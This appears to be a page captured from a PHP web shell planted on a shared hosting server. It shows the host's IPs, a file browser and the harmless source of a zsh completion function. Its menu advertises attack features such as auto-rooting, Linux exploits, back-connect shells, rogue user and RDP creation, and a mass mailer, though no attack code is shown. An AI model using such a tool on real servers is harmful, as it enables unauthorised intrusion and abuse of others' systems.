Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
zsh /
functions /
Completion /
Base /
[ HOME SHELL ]
Name
Size
Permission
Action
_all_labels
920
B
-rw-r--r--
_all_matches
970
B
-rw-r--r--
_alternative
1.93
KB
-rw-r--r--
_approximate
3.39
KB
-rw-r--r--
_arg_compile
7.39
KB
-rw-r--r--
_arguments
17.09
KB
-rw-r--r--
_bash_completions
1.33
KB
-rw-r--r--
_cache_invalid
707
B
-rw-r--r--
_call_function
737
B
-rw-r--r--
_call_program
853
B
-rw-r--r--
_combination
2.44
KB
-rw-r--r--
_comp_locale
572
B
-rw-r--r--
_complete
3.09
KB
-rw-r--r--
_complete_debug
1
KB
-rw-r--r--
_complete_help
2.59
KB
-rw-r--r--
_complete_help_generic
412
B
-rw-r--r--
_complete_tag
1.98
KB
-rw-r--r--
_correct
518
B
-rw-r--r--
_correct_filename
1.93
KB
-rw-r--r--
_correct_word
388
B
-rw-r--r--
_describe
3.62
KB
-rw-r--r--
_description
3.11
KB
-rw-r--r--
_dispatch
2.01
KB
-rw-r--r--
_expand
7.34
KB
-rw-r--r--
_expand_alias
2.02
KB
-rw-r--r--
_expand_word
307
B
-rw-r--r--
_extensions
1018
B
-rw-r--r--
_external_pwds
1.04
KB
-rw-r--r--
_generic
328
B
-rw-r--r--
_guard
177
B
-rw-r--r--
_history
1.44
KB
-rw-r--r--
_history_complete_word
3.37
KB
-rw-r--r--
_ignored
1.61
KB
-rw-r--r--
_list
822
B
-rw-r--r--
_main_complete
11.02
KB
-rw-r--r--
_match
2.37
KB
-rw-r--r--
_menu
558
B
-rw-r--r--
_message
840
B
-rw-r--r--
_most_recent_file
883
B
-rw-r--r--
_multi_parts
8.59
KB
-rw-r--r--
_next_label
600
B
-rw-r--r--
_next_tags
3.38
KB
-rw-r--r--
_normal
1.1
KB
-rw-r--r--
_nothing
90
B
-rw-r--r--
_oldlist
1.87
KB
-rw-r--r--
_pick_variant
1.15
KB
-rw-r--r--
_prefix
1.58
KB
-rw-r--r--
_read_comp
3.76
KB
-rw-r--r--
_regex_arguments
2.44
KB
-rw-r--r--
_regex_words
936
B
-rw-r--r--
_requested
268
B
-rw-r--r--
_retrieve_cache
732
B
-rw-r--r--
_sep_parts
3.72
KB
-rw-r--r--
_sequence
1.32
KB
-rw-r--r--
_set_command
815
B
-rw-r--r--
_setup
2.19
KB
-rw-r--r--
_store_cache
1.88
KB
-rw-r--r--
_sub_commands
136
B
-rw-r--r--
_tags
1.43
KB
-rw-r--r--
_user_expand
3.68
KB
-rw-r--r--
_values
3.73
KB
-rw-r--r--
_wanted
183
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _sep_parts
#autoload # This function can be used to separately complete parts of strings # where each part may be one of a set of matches and different parts # have different sets. # Arguments are alternately arrays and separator strings. Arrays may # be given by name or literally as words separated by white space in # parentheses, e.g.: # # _sep_parts '(foo bar)' @ hosts # # This will make this function complete the strings `foo' and `bar'. # If the string on the line contains a `@', the substring after it # will be completed from the array `hosts'. Of course more arrays # may be given, each preceded by another separator string. # # This function understands the `-J group', `-V group', and # `-X explanation' options. local str arr sep test testarr tmparr prefix suffixes autosuffix local matchflags opt group expl nm=$compstate[nmatches] opre osuf opts matcher # Get the options. zparseopts -D -a opts 'J+:=group' 'V+:=group' P: F: S: r: R: q 1 2 o+: n \ 'x+:=expl' 'X+:=expl' 'M+:=matcher' # Get the string from the line. opre="$PREFIX" osuf="$SUFFIX" str="$PREFIX$SUFFIX" SUFFIX="" prefix="" # Walk through the arguments to find the longest unambiguous prefix. while [[ $# -gt 1 ]]; do # Get the next array and separator. arr="$1" sep="$2" if [[ "$arr[1]" == '(' ]]; then tmparr=( ${=arr[2,-2]} ) arr=tmparr fi # Is the separator on the line? [[ "$str" != *${sep}* ]] && break # Get the matching array elements. PREFIX="${str%%(|\\)${sep}*}" builtin compadd -O testarr "$matcher[@]" -a "$arr" [[ $#testarr -eq 0 && -n "$_comp_correct" ]] && compadd -O testarr "$matcher[@]" -a "$arr" # If there are no matches we give up. If there is more than one # match, this is the part we will complete. (( $#testarr )) || return 1 [[ $#testarr -gt 1 ]] && break # Only one match, add it to the prefix and skip over it in `str', # continuing with the next array and separator. prefix="${prefix}${testarr[1]}${sep}" str="${str#*${sep}}" shift 2 done # Get the array to work upon. arr="$1" if [[ "$arr[1]" == '(' ]]; then tmparr=( ${=arr[2,-2]} ) arr=tmparr fi if [[ $# -le 1 || "$str" != *${2}* ]]; then # No more separators, build the matches. PREFIX="$str" builtin compadd -O testarr "$matcher[@]" -a "$arr" [[ $#testarr -eq 0 && -n "$_comp_correct" ]] && compadd -O testarr "$matcher[@]" -a "$arr" fi [[ $#testarr -eq 0 || ${#testarr[1]} -eq 0 ]] && return 1 # Now we build the suffixes to give to the completion code. shift suffixes=("") autosuffix=() while [[ $# -gt 0 && "$str" == *${1}* ]]; do # Remove anything up to the suffix. str="${str#*${1}}" # Again, we get the string from the line up to the next separator # and build a pattern from it. if [[ $# -gt 2 ]]; then PREFIX="${str%%${3}*}" else PREFIX="$str" fi # We incrementally add suffixes by appending to them the separators # and the strings from the next array that match the pattern we built. arr="$2" if [[ "$arr[1]" == '(' ]]; then tmparr=( ${=arr[2,-2]} ) arr=tmparr fi builtin compadd -O tmparr "$matcher[@]" -a "$arr" [[ $#tmparr -eq 0 && -n "$_comp_correct" ]] && compadd -O tmparr "$matcher[@]" - "$arr" suffixes=("${(@)^suffixes[@]}${(q)1}${(@)^tmparr}") shift 2 done # If we were given at least one more separator we make the completion # code offer it by appending it as a autoremovable suffix. (( $# )) && autosuffix=(-qS "${(q)1}") # Add the matches for each of the suffixes. PREFIX="$pre" SUFFIX="$suf" for i in "$suffixes[@]"; do compadd -U "$group[@]" "$expl[@]" "$autosuffix[@]" "$opts[@]" \ -i "$IPREFIX" -I "$ISUFFIX" -p "$prefix" -s "$i" -a testarr done # This sets the return value to indicate that we added matches (or not). [[ nm -ne compstate[nmatches] ]]
Close